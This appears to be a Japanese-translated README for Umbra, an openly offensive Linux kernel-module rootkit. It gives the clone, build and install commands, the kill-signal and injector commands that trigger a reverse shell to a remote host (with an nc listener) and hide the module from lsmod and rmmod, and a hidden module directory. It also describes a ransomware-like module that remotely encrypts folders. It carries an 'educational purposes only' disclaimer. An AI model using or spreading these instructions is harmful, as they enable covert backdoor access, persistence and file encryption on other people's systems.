
4.xおよび5.xカーネルバージョンを標的とするLKMルートキットであり、リモートホストへのリバースシェルの生成、マルウェアの起動などを可能にするバックドアを開きます。

Umbra は、カーネル 4.x および 5.x(5.7 まで)向けの、実験的な遠隔操作可能な LKM ルートキットです。リモートホストへのリバースシェル起動、マルウェアの遠隔実行などを行うネットワークバックドアを開きます。
このルートキットはまだ開発中ですが、以下に挙げる機能はすでに完全に動作します。

注: このルートキットは、カーネル 5.4.0 と Ubuntu 18.04 を使用して開発およびテストされています。

さらなる機能は今後のアップデートで追加される予定です。
このルートキットは純粋に教育目的です。意図しない使用によって生じたいかなる損害についても、私は責任を負いません。
また、Umbra は軽量な隠蔽および保護メカニズムのみを備えていることに留意してください。実際のシナリオで使用することを意図していません。
重要: このルートキットを自分のマシンでテストする場合は、VM の使用を強くお勧めします。
Umbra Modules について: ransom モジュールは簡単な暗号化メカニズムを使用していますが、あなたのマシン上の任意のフォルダを暗号化でき、実際に暗号化します。ファイルは簡単に復号できますが、管理された環境以外でルートフォルダなどに対して実行することは絶対にお勧めしません。
4.x または 5.x のカーネルが利用可能である必要があることに注意してください。
apt install linux-headers-$(uname -r)
カーネルヘッダディレクトリ(通常は /usr/src 配下)を含むようにインクルードパスを設定します。vscode を使用している場合は、.vscode/c_cpp_properties.json で、どのディレクトリを含めるかの例を確認できます。
プロジェクトをクローンします
git clone https://github.com/h3xduck/Umbra.git
cd Umbra
make
sudo ./install.sh
以前にスクリプトを実行していて、単に Umbra をカーネルにインストールしたい場合は、次のコマンドを実行できます:
sudo insmod ./umbra.ko
Umbra が不可視モードでないことを確認してください。そうでない場合、この操作は失敗します。
sudo rmmod umbra
kill -50 1
ルートキットをビルドする前に、CONFIG.H で希望の IP とポートを設定します。デフォルトは 127.0.0.1:5888 です。
リモートホストで待ち受けを開始します。
nc -lvp 5888
kill -51 1
注: Umbra は、ロード時にもリバースシェルの起動を試みます。
これにより、lsmod などのコマンドでルートキットが表示されたり、rmmod で削除されたりするのを防ぎます。
kill -52 1
不可視モードが有効な場合、それを解除します。
kill -53 1
Umbra Injector は、Umbra がインストールされる前(インストールされ次第シェルを取得できます)または対象システムに Umbra がインストールされた後に実行できます。
./injector -S 127.0.0.1
バックドアは、次のペイロードを持つパケットを待ち受けます: UMBRA_PAYLOAD_GET_REVERSE_SHELL。
また、私のライブラリ RawTCP を使用して独自のインジェクタを構築することもできます。
これにより、lsmod などのコマンドでルートキットが表示されたり、rmmod で削除されたりするのを防ぎます。
./injector -i 127.0.0.1
不可視モードが有効な場合、それを解除します。
./injector -u 127.0.0.1
Umbra Injector の実行方法に関する完全な情報は、次のコマンドで確認できます:
./injector -h
Umbra Modules は、install.sh スクリプトによって /tmp/umbra に格納され、Umbra がそれらを隠蔽します。このディレクトリは、ls などのコマンドでは表示されません。
このモジュールは、Umbra Injector を介して遠隔からランサムウェアのような攻撃を仕掛けることができます。暗号化されたファイルには .ubr 拡張子が付きます。
現在の暗号化メカニズムは、概念実証としての単純なビット単位の NOP です。モジュールを編集して、独自の暗号化アルゴリズムを組み込むことができます。
./injector -p /Your/Path/To/Encrypt -e 127.0.0.1
./injector -p /Your/Path/To/Decrypt -d 127.0.0.1
このルートキットの開発には、LKM とルートキット技術に関するかなりの量の調査が必要でした。以下は、私が使用したリソースの不完全なリストです: LKM の作成方法:
Linux システムコールリファレンス:
ルートキットの参考資料:
このプロジェクトは GPLv2 ライセンスの下でライセンスされています。LICENSE を参照してください。